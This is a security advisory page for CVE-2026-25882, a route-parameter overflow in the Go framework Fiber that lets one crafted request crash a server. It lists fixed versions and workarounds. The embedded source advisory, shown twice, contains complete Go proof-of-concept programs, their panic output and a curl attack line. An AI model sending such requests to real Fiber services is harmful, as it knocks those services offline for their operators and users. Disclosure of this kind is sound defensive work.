CVE-2026-25882: Github.com/gofiber/fiber/v2 Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-mrq8-rjmw-wpq3
CWE-129
Published
Advisory Summary

CVE-2026-25882 is a MODERATE denial of service vulnerability (CWE-129: Improper Validation of Array Index) affecting Github.com/gofiber/fiber/v2 libraries in the Go ecosystem. The issue involves fiber has a denial of service vulnerability via route parameter overflow. Remediation is available by upgrading affected packages to version 2.52.12, 3.1.0.

CVE-2026-25882 at a Glance

CVE Identifier CVE-2026-25882
GHSA Identifier GHSA-mrq8-rjmw-wpq3
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-129: Improper Validation of Array Index
Affected Product Github.com/gofiber/fiber/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-25882

To remediate this vulnerability, upgrade all affected Github.com/gofiber/fiber/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gofiber/fiber/v2 fixed: 2.52.12
Upgrade github.com/gofiber/fiber/v2 to 2.52.12
github.com/gofiber/fiber/v3 fixed: 3.1.0
Upgrade github.com/gofiber/fiber/v3 to 3.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gofiber/fiber/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25882, inspect your project dependencies for Github.com/gofiber/fiber/v2:

inspect dependencies for github.com/gofiber/fiber/v2

Analyze the terminal output to locate any version of Github.com/gofiber/fiber/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.52.12), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-129: Improper Validation of Array Index, where the product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. In Github.com/gofiber/fiber/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. ## Affected Versions - **Fiber v3.0.0-rc.3** and earlier v3 releases - **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation ## Vulnerability Details ### Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`: ```go const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } ``` The `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write: - **v3**: `path.go:514` - **v2**: `path.go:516` ```go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] ``` When `paramsIterator >= 30`, this triggers: ``` panic: runtime error: index out of range [30] with length 30 ``` ### Attack Scenario 1. Application registers route with >30 parameters (e.g., via code or dynamic routing): ```go app.Get("/api/:p1/:p2/:p3/.../p35", handler) ``` 2. Attacker sends matching HTTP request: ```bash curl http://target/api/v1/v2/v3/.../v35 ``` 3. Server crashes during request processing with runtime panic ## Proof of Concept ### For Fiber v3 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("āœ“ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\nšŸ”“ Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("āœ— Request failed: %v\n", err) fmt.Println("šŸ’„ Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output:** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... āœ“ Registration succeeded (NO PANIC) šŸ”“ Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(*routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(*Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(*App).next(...) /path/to/fiber/router.go:142 ``` ### For Fiber v2 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c *fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("āœ“ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\nšŸ”“ Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("āœ— Request failed: %v\n", err) fmt.Println("šŸ’„ Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output (v2):** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... āœ“ Registration succeeded (NO PANIC) šŸ”“ Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(*routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(*Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(*App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127 ``` ## Impact ### Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters ### Real-World Impact - **Public APIs**: Remote DoS attacks on vulnerable endpoints - **Microservices**: Cascade failures if vulnerable service is critical - **Auto-scaling**: Repeated crashes prevent proper recovery - **Monitoring**: Log flooding and alert fatigue ### Likelihood **HIGH** - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request ## Workarounds Until patched, users should: 1. **Audit Routes**: Ensure all routes have ≤30 parameters ```bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules ``` 2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count: ```go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } ``` 3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact 4. **Monitoring**: Alert on panic patterns in application logs ## Timeline - **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review - **2024-12-25**: Proof of concept confirmed exploitability in v3 - **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause) - **2024-12-25**: Security advisory created ## References - **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - **Vulnerable Code Locations**: - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514) - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516) ## Credit **Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev

CVE-2026-25882 Affected Github.com/gofiber/fiber/v2 Versions

2 component(s)
Fixed Versions:
2.52.123.1.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gofiber/fiber/v2
Go
< 2.52.12
2.52.12
github.com/gofiber/fiber/v3
Go
< 3.1.0
3.1.0

References

Frequently Asked Questions

What is CVE-2026-25882?
CVE-2026-25882 is a security vulnerability in Github.com/gofiber/fiber/v2 involving Fiber has a Denial of Service Vulnerability via Route Parameter Overflow under CWE-129: Improper Validation of Array Index.
Which Github.com/gofiber/fiber/v2 versions are affected?
Affected versions include releases prior to 2.52.12, 3.1.0 across affected packages: github.com/gofiber/fiber/v2, github.com/gofiber/fiber/v3.
What version fixes CVE-2026-25882?
Upgrading to 2.52.12, 3.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gofiber/fiber/v2 affected?
Yes, github.com/gofiber/fiber/v2 is affected in releases prior to 2.52.12. Upgrade your dependency to 2.52.12 or later.
Is github.com/gofiber/fiber/v3 affected?
Yes, github.com/gofiber/fiber/v3 is affected in releases prior to 3.1.0. Upgrade your dependency to 3.1.0 or later.
What CWE is associated with CVE-2026-25882?
CVE-2026-25882 is classified under CWE-129: Improper Validation of Array Index (The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.).
How can I check Go dependencies for CVE-2026-25882?
Run the dependency tree command: 'inspect dependencies for github.com/gofiber/fiber/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mrq8-rjmw-wpq3",
  "modified" : "2026-02-27T20:33:49Z",
  "published" : "2026-02-24T21:04:07Z",
  "aliases" : [ "CVE-2026-25882" ],
  "summary" : "Fiber has a Denial of Service Vulnerability via Route Parameter Overflow",
  "details" : "A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.\n\n## Affected Versions\n\n- **Fiber v3.0.0-rc.3** and earlier v3 releases\n- **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable)\n- Both versions share the same vulnerable routing implementation\n\n## Vulnerability Details\n\n### Root Cause\n\nBoth Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`:\n\n```go\nconst maxParams = 30\n\ntype DefaultCtx struct {\n    values [maxParams]string  // Fixed 30-element array\n    // ...\n}\n```\n\nThe `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write:\n\n- **v3**: `path.go:514`\n- **v2**: `path.go:516`\n\n```go\n// path.go:514 - NO BOUNDS CHECKING\nparams[paramsIterator] = path[:i]\n```\n\nWhen `paramsIterator >= 30`, this triggers:\n```\npanic: runtime error: index out of range [30] with length 30\n```\n\n### Attack Scenario\n\n1. Application registers route with >30 parameters (e.g., via code or dynamic routing):\n   ```go\n   app.Get(\"/api/:p1/:p2/:p3/.../p35\", handler)\n   ```\n\n2. Attacker sends matching HTTP request:\n   ```bash\n   curl http://target/api/v1/v2/v3/.../v35\n   ```\n\n3. Server crashes during request processing with runtime panic\n\n## Proof of Concept\n\n### For Fiber v3\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v3\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"āœ“ Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9999\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9999/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\nšŸ”“ Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:514 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"āœ— Request failed: %v\\n\", err)\n\t\tfmt.Println(\"šŸ’„ Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output:**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\nāœ“ Registration succeeded (NO PANIC)\n\nšŸ”“ Sending exploit request...\nExpected: panic at path.go:514 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v3.(*routeParser).getMatch(...)\n\t/path/to/fiber/path.go:514\ngithub.com/gofiber/fiber/v3.(*Route).match(...)\n\t/path/to/fiber/router.go:89\ngithub.com/gofiber/fiber/v3.(*App).next(...)\n\t/path/to/fiber/router.go:142\n```\n\n### For Fiber v2\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v2\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c *fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"āœ“ Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9998\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9998/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\nšŸ”“ Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:516 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"āœ— Request failed: %v\\n\", err)\n\t\tfmt.Println(\"šŸ’„ Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output (v2):**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\nāœ“ Registration succeeded (NO PANIC)\n\nšŸ”“ Sending exploit request...\nExpected: panic at path.go:516 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v2.(*routeParser).getMatch(...)\n\t/path/to/fiber/v2@v2.52.10/path.go:512\ngithub.com/gofiber/fiber/v2.(*Route).match(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:84\ngithub.com/gofiber/fiber/v2.(*App).next(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:127\n```\n\n## Impact\n\n### Exploitation Requirements\n- No authentication required\n- Single HTTP request triggers crash\n- Trivially scriptable for sustained DoS\n- Works against any route with >30 parameters\n\n### Real-World Impact\n- **Public APIs**: Remote DoS attacks on vulnerable endpoints\n- **Microservices**: Cascade failures if vulnerable service is critical\n- **Auto-scaling**: Repeated crashes prevent proper recovery\n- **Monitoring**: Log flooding and alert fatigue\n\n### Likelihood\n**HIGH** - Exploitation requires only:\n- Knowledge of route structure (often public in APIs)\n- Standard HTTP client (curl, browser, etc.)\n- Single malformed request\n\n## Workarounds\n\nUntil patched, users should:\n\n1. **Audit Routes**: Ensure all routes have ≤30 parameters\n   ```bash\n   # Search for potential issues\n   grep -r \"/:.*/:.*/:.*\" . | grep -v node_modules\n   ```\n\n2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count:\n   ```go\n   paramCount := strings.Count(route, \":\")\n   if paramCount > 30 {\n       log.Fatal(\"Route exceeds maxParams\")\n   }\n   ```\n\n3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact\n\n4. **Monitoring**: Alert on panic patterns in application logs\n\n## Timeline\n\n- **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review\n- **2024-12-25**: Proof of concept confirmed exploitability in v3\n- **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause)\n- **2024-12-25**: Security advisory created\n\n## References\n\n- **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)\n- **Vulnerable Code Locations**:\n  - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514)\n  - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516)\n\n## Credit\n\n**Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gofiber/fiber/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.52.12"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gofiber/fiber/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25882"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gofiber/fiber/pull/3962"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gofiber/fiber"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gofiber/fiber/blob/main/path.go#L514"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gofiber/fiber/blob/v2/path.go#L516"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4543"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-129" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-24T21:04:07Z",
    "nvd_published_at" : "2026-02-24T21:16:29Z"
  }
}